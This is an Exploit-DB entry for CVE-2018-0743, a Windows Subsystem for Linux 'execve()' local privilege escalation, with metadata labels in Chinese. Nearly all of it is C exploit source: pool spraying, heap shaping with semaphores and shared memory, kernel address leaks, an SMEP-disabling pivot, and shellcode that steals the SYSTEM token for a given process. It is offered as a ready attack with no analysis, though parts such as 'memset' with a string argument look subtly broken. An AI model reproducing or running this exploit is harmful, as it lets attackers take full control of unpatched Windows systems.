标题: Microsoft Windows Subsystem for Linux - 'execve()' Local Privilege Escalation EDB-ID: 43962 CVE: 2018-0743 类型: LOCAL 平台: WINDOWS 发布日期: 2018-02-02 漏洞利用脚本: #define _GNU_SOURCE

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/ipc.h> 
#include <sys/sem.h>
#include <sys/shm.h>

#define RING_SIZE    0x2000000
#define PIPE_SIZE    0xb8
#define PTR_SIZE    0x8
#define STR_HDR_SIZE   0x18

#define LEAK_OFFSET    0x68
#define SHELLCODE_OFFSET  0x200
#define CHUNK_LVXF_OFFSET  0x138f4296
#define CR4_VAL_ADDR   0x506f8
#define MAGIC_KEY    0xefef
#define NT_OFFSET_TO_PIVOT  0x288005

size_t curr_key     = 0;

char SHELLCODE[] = {
 //0xcc,
 0x90,                // CLI
 0x90,                // PUSHFQ
 0x48, 0xb8, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90,   // MOV RAX, Original Pointer
 0x50,                // PUSH RAX
 0x51,                // PUSH RCX
 0x90, 0x90, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90,   // MOV RCX, [OverwriteAddr+OverwriteOffset]
 0x90, 0x90, 0x90,              // MOV    QWORD PTR [RCX], RAX
 0xb9, 0xfc, 0x11, 0x00, 0x00,           // MOV ECX, PID

 0x53,                // PUSH RBX

 0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00,     // MOV    RAX,QWORD PTR gs:0x188
 0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00,      // MOV    RAX,QWORD PTR [RAX+0xb8] EPROCESS
 0x48, 0x8d, 0x80, 0xe8, 0x02, 0x00, 0x00,      // LEA    RAX,[RAX+0xActiveProcessLinkOffset] 

 //<tag>
 0x48, 0x8b, 0x00,            // MOV    RAX,QWORD PTR [RAX]
 0x48, 0x8b, 0x58, 0xf8,           // MOV    RBX,QWORD PTR [RAX-8] // UniqueProcessID
 0x48, 0x83, 0xfb, 0x04,           // CMP    RBX,0x4
 0x75, 0xf3,              // JNE    <tag>
 0x48, 0x8b, 0x58, 0x70,           // MOV    RBX, QWORD PTR [RAX+0x70] // GET TOKEN of SYSTEM
 0x90, 0x90, 0x90,
 0x53,                // PUSH RBX
 //<tag2>
 0x48, 0x8b, 0x00,            // MOV    RAX,QWORD PTR [RAX]
 0x48, 0x8b, 0x58, 0xf8,           // MOV    RBX,QWORD PTR [RAX-8] // UniqueProcessID
 0x39, 0xcb,              // CMP    EBX, ECX // our PID
 0x75, 0xf5,              // JNE    <tag2>
 0x5b,                // POP RBX
 0x48, 0x89, 0x58, 0x70,           // MOV    QWORD PTR[RAX +0x70], RBX
 0x90, 0x90, 0x90,

 0x5b,                // POP RBX
 0x59,                // POP RCX
 0x58,                // POP RAX
 0x90,                // POPFQ

 0xc3                 // RET
};

int calc_stop_idx(size_t alloc_size, size_t factor);
int get_size_factor(size_t spray_size, size_t *factor);
int trigger_corruption(int spray_size);
int call_LxpUtilReadUserStringSet(size_t argc, size_t innerSize, char pattern, size_t stopIdx);
int spray(size_t count);
int alloc_sem(size_t factor);
int free_sem(int key);
char *get_faked_shm();
void initialize_fake_obj(char *obj, char *shellcode_ptr, char *read_addr, size_t fake_shmid, size_t pid);
void trigger_shm(size_t shmid);
void print_shm(struct shmid_ds *buf);
void *absolute_read(void* obj, size_t shmid, void *addr);
int alloc_shm(size_t key);
int shape(size_t *spray_size);

int calc_stop_idx(size_t alloc_size, size_t factor) {
 size_t totalStringsLength, headersLength;

 totalStringsLength = (factor - 1) * 2 + 0xd001;
 headersLength = (factor * STR_HDR_SIZE) % (0x100000000);

 return (alloc_size + 496 + 0xc000) / STR_HDR_SIZE;
}

int get_size_factor(size_t spray_size, size_t *factor) {
 if (spray_size != 0x2000000) {
  printf("SPRAY_SIZE ISSUE\n");
  exit(1);
 }

 *factor = 0xab13aff - 0x800*2;
 return 0x15fffdfc;
}

int trigger_corruption(int spray_size) {
 size_t factor = 0, alloc_size, stopIdx;
 int ret;
 alloc_size = get_size_factor(spray_size, &factor);
 if (alloc_size < 0) {
  printf("[*err*] unsupported spray_size == 0x%x", spray_size);
  return -1;
 }

 stopIdx = calc_stop_idx(alloc_size, factor);

 ret = call_LxpUtilReadUserStringSet(factor + 1, 1, 'O', stopIdx);
 printf("[*] trigger_corruption() returned 0x%x\n", ret);
 return 0;
}

int call_LxpUtilReadUserStringSet(size_t argc, size_t innerSize, char pattern, size_t stopIdx) {
 char **argv, *innerBuf, *stopInnerBuf = NULL;
 size_t pid;

 argv = (char*)mmap(NULL, argc * sizeof(char*), PROT_READ | PROT_WRITE, 
                    MAP_SHARED | MAP_ANONYMOUS, -1, 0);
 if(!argv) {
  perror("[*err*] malloc argv failed\n"); 
  return -1;
 }

 innerBuf = (char*)malloc(innerSize); 
 if (!innerBuf) {
  printf("[*err*] malloc innerBuf failed\n");
  return -1;
 }
 memset(innerBuf, pattern, innerSize);

 for(size_t i = 0; i < argc - 1; ++i) {
  argv[i] = innerBuf;
 }
 argv[argc-1] = NULL;

 pid = fork();
 if (pid) {
  // parent
  if(stopIdx > 0) {
   sleep(1.5);
   printf("[*] set stopIdx, stopping wildcopy\n");
   argv[stopIdx] = NULL;
  }
  return 0;
 } else {
  // son
  argv[stopIdx - 1] = (char*)malloc(0xe000);
  memset(argv[stopIdx - 1], "X", 0xd000-1);
  argv[stopIdx - 1][0xd000-1] = '\0';

  argv[stopIdx - 7] = (char*)malloc(0xe000);
  memset(argv[stopIdx - 7], "X", 0xd000-1);
  argv[stopIdx - 7][0xd000-1] = '\0';

  // this execve is on nonsense "program", so it will return err.
  // Just kill the thread.
  execve(argv[0], argv, NULL);
  exit(1);
 }
}

/*
 spray <count> chunks, and return number of total bytes allocated
*/
int spray(size_t count) {
 int exec[2];
 int pipe_capacity = 0, ret = 0;

 for (size_t i = 0; i < count; ++i) {
  if (pipe(exec) < 0) {
   printf("[*err*] pipe\n");
   ret = -1;
   goto cleanup;
  }  

  pipe_capacity = fcntl(exec[1], F_SETPIPE_SZ, RING_SIZE);
  if(pipe_capacity < 0) {
   printf("[*err*] fcntl return neg capacity\n");
   ret = -1;
   goto cleanup;
  }

  ret += pipe_capacity;
 }

cleanup:
 return ret;
}

/*
 allocate 12 * v_nsems + 176
*/
int alloc_sem(size_t factor) {
 int semid;
   int nsems = factor;

   semid = semget(curr_key++, nsems, IPC_CREAT | 0666);
   if(semid == -1) {
    printf("[*err*]semget failed, errno == 0x%x\n", errno);
    return -1;
   }

 return semid;
}

int free_sem(int key) {
 if(semctl(key, 0, IPC_RMID, 0) == -1) {
  printf("[*err*] semctl failed, errno == 0x%x\n", errno);
  return -1;
    }
    return 0;
}

char *get_faked_shm() {
 size_t shellcode_length = 0;
 char *obj = (char*)mmap(0xc000, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC,
     MAP_SHARED | MAP_ANONYMOUS, -1, 0x0);
 char *shellcode_ptr;

 if (obj == (void*)-1) {
  printf("[*err*] mmap failed\n");
  return NULL;
 }
 char *cr4_addr = (char*)mmap(CR4_VAL_ADDR & ~0xfff, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC,
     MAP_SHARED | MAP_ANONYMOUS, -1, 0x0);
 if (cr4_addr == (void*)-1) {
  printf("[*err*] mmap failed\n");
  return NULL;
 }
 memset(cr4_addr, 0x0, 0x10000);

 printf("[*] mmap userspace addr %p, set faked shm object\n", obj);

 obj += 0x1000;
 shellcode_ptr = obj + 0x200;
 initialize_fake_obj(obj, shellcode_ptr, NULL, 0x41414141, -1);
 return obj;
}

void initialize_fake_obj(char *obj, char *shellcode_ptr, char *read_addr, size_t fake_shmid, size_t pid) {
 size_t val = 0x4141414141414141, val2 = 7, val3 = CR4_VAL_ADDR;
 char *obj2 = obj+0x1000;

 memset(obj - 0x100, 0x0, 0x1000);

 memcpy(obj, &read_addr, sizeof(size_t));
 memcpy((obj+0x10), &val, sizeof(size_t));

 memcpy(obj - 0x20, &val2, sizeof(size_t));
 memcpy(obj - 0x68, &obj, sizeof(char*));
 memcpy(obj + 0x28, &shellcode_ptr, sizeof(char*));
 memcpy(obj - 0x80, &obj, sizeof(char*));
 memcpy((obj + 0x40), &val, sizeof(size_t));

 memcpy(CR4_VAL_ADDR + 0x10, &fake_shmid, sizeof(size_t));
 memcpy(CR4_VAL_ADDR - 0x20, &val2, sizeof(size_t));
 memcpy(CR4_VAL_ADDR - 0x80, &val3, sizeof(char*));
 memcpy(CR4_VAL_ADDR - 0x68, &val3, sizeof(char*));
 memcpy(CR4_VAL_ADDR + 0x28, &shellcode_ptr, sizeof(char*));
 memcpy((CR4_VAL_ADDR + 0x40), &val, sizeof(size_t));

 memcpy(CR4_VAL_ADDR + 0x18, &val2, sizeof(size_t));      // refcount
 memcpy((CR4_VAL_ADDR + 0x50), &obj2, sizeof(size_t));
 memcpy((CR4_VAL_ADDR + 0x90), &val3, sizeof(size_t));

 memcpy(obj + SHELLCODE_OFFSET, SHELLCODE, sizeof(SHELLCODE));
 memcpy(obj + SHELLCODE_OFFSET + 28, &pid, 4);
}

void trigger_shm(size_t shmid) {
 char *data;
 data = shmat(shmid, (void*)0, 0);
}

void print_shm(struct shmid_ds *buf) {
 printf ("\nThe USER ID = %p\n", buf->shm_perm.uid);
 printf ("The GROUP ID = %p\n", buf->shm_perm.gid);
 printf ("The creator's ID = %p\n", buf->shm_perm.cuid);
 printf ("The creator's group ID = %p\n", buf->shm_perm.cgid);
 printf ("The operation permissions = 0%o\n", buf->shm_perm.mode);
 printf ("The slot usage sequence\n");
 //printf ("number = 0%x\n", buf->shm_perm.seq);
 //printf ("The key= 0%x\n", buf->shm_perm.key);
 printf ("The segment size = %p\n", buf->shm_segsz);
 printf ("The pid of last shmop = %p\n", buf->shm_lpid);
 printf ("The pid of creator = %p\n", buf->shm_cpid);
 printf ("The current # attached = %p\n", buf->shm_nattch);
 printf("The last shmat time = %p\n", buf->shm_atime);
 printf("The last shmdt time = %p\n", buf->shm_dtime);
 printf("The last change time = %p\n", buf->shm_ctime);
}

void *absolute_read(void* obj, size_t shmid, void *addr) {
 struct shmid_ds shm;
 initialize_fake_obj(obj, obj + SHELLCODE_OFFSET, addr, shmid, -1);
 shmctl(shmid, IPC_STAT, &shm);
 return (void*)shm.shm_ctime;
}

int alloc_shm(size_t key) {
 int shmid;
 shmid = shmget(key, 1024, 0644 | IPC_CREAT);
 return shmid;
}

int shape(size_t *spray_size) {
 size_t keys[0x400];
 int exec[2];
 int sv[2];
    char flag;

 size_t bytes = 0, tofree = 0;
 size_t factor,hole_size;
 struct flock fl;
 memset(&fl, 0, sizeof(fl));
 pid_t pid, wpid;
 int status;

 if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) == -1) {
  printf("[*err] socketpair failed\n");
  return 1;
 }

 bytes = spray(1);
 if (bytes == (size_t)-1) {
  printf("[*err*] bytes < 0, are you root?\n");
  return 1;
 }

 *spray_size = bytes;
 hole_size = get_size_factor(*spray_size, &factor);

 tofree = hole_size / (bytes / 1) + 1;

 printf("[*] allocate holes before the workspace\n");
 for (int i = 0; i < 0x400; ++i) {
  keys[i] = alloc_sem(0x7000);
 }
 for (int i = 0; i < 0x20; ++i) {
  alloc_sem(0x7000);
 }
 for (int i = 0; i < 0x2000; ++i) {
  alloc_sem(4063);
 }
 for (int i = 0; i < 0x2000; ++i) {
  alloc_sem(3);
 }

 pid = fork();
 if (pid > 0) {
  printf("[*] alloc 0xc pages groups, adjust to continuous allocations\n");
  bytes = spray(5);
  write(sv[1], "p", 1);
  read(sv[1], &flag, 1);
 } else {
  // son
  read(sv[0], &flag, 1);
  printf("[*] alloc workspace pages\n");
  bytes = spray(tofree);
  printf("[*] finish allocate workspace allocations\n");
  write(sv[0], "p", 1);
 }

 if (pid > 0) {
  printf("[*] allocating (0xc - shm | shm) AFTER the workspace\n");
  for (int i = 0; i < 0x100; ++i) {
   alloc_sem(4061);
   for (int j = 0; j < 0x5; ++j) { 
    alloc_shm(i * 0x100 + j);
   }
  }
  write(sv[1], "p", 1);
 } else {
  read(sv[0], &flag, 1);
  printf("[*] free middle allocation, creating workspace freed\n");
  exit(1);
 }

 while ((wpid = wait(&status)) > 0); 

 printf("[*] free prepared holes, create little pages holes before the workspace\n");
 for (int i = 0; i < 0x400; ++i) {
  free_sem(keys[i]);
 }
 
 return 0;
}

int main(int argc, char **argv) {
 size_t spray_size = 0;
 char *obj;
 void *paged_pool_addr, *file_obj, *lxcore_addr, *nt_c_specific_handler;
 void *nt_addr;

 obj = get_faked_shm();

 printf("[*] start shaping\n");
 if (shape(&spray_size)) {
  printf("[*err*] shape failed, exit\n");
  return 1;
 }

 // if there is some shm with shmid==0, delete it
 shmctl(0, IPC_RMID, NULL);

 printf("[*] shape is done\n");
 if (trigger_corruption(spray_size) < 0) {
  printf("[*err*] internal error\n");
  return 1;
 }

 sleep(8);

 printf("[*] leak shm, with the corrupted shmid\n");
 paged_pool_addr = absolute_read(obj, 1, NULL);

 printf("[*] infoleak - PagedPool addr at %p\n", paged_pool_addr);
 file_obj = absolute_read(obj, 0xffff, paged_pool_addr + CHUNK_LVXF_OFFSET - LEAK_OFFSET);
 printf("[*] infoleak - fileObj addr at %p\n", file_obj);
 lxcore_addr = absolute_read(obj, 0, file_obj - 0x68 - LEAK_OFFSET);
 printf("[*] infoleak - lxcore!LxpSharedSectionFileType addr at %p\n", lxcore_addr);
 nt_c_specific_handler = absolute_read(obj, 0, lxcore_addr + 0x8b90 - LEAK_OFFSET);
 printf("[*] infoleak - nt!_C_specific_handler addr at %p\n", nt_c_specific_handler);

 printf("[*] call nt pivot, disable SMEP\n");
 initialize_fake_obj(obj, nt_c_specific_handler + NT_OFFSET_TO_PIVOT, CR4_VAL_ADDR, MAGIC_KEY, -1);
 trigger_shm(MAGIC_KEY);

 sleep(5);

 printf("[*] jump to shellcode!\n");
 initialize_fake_obj(obj, obj+0x200, CR4_VAL_ADDR, MAGIC_KEY, atoi(argv[1]));
 trigger_shm(MAGIC_KEY);

 sleep(2);

 return 0;
} URL: https://www.exploit-db.com/exploits/43962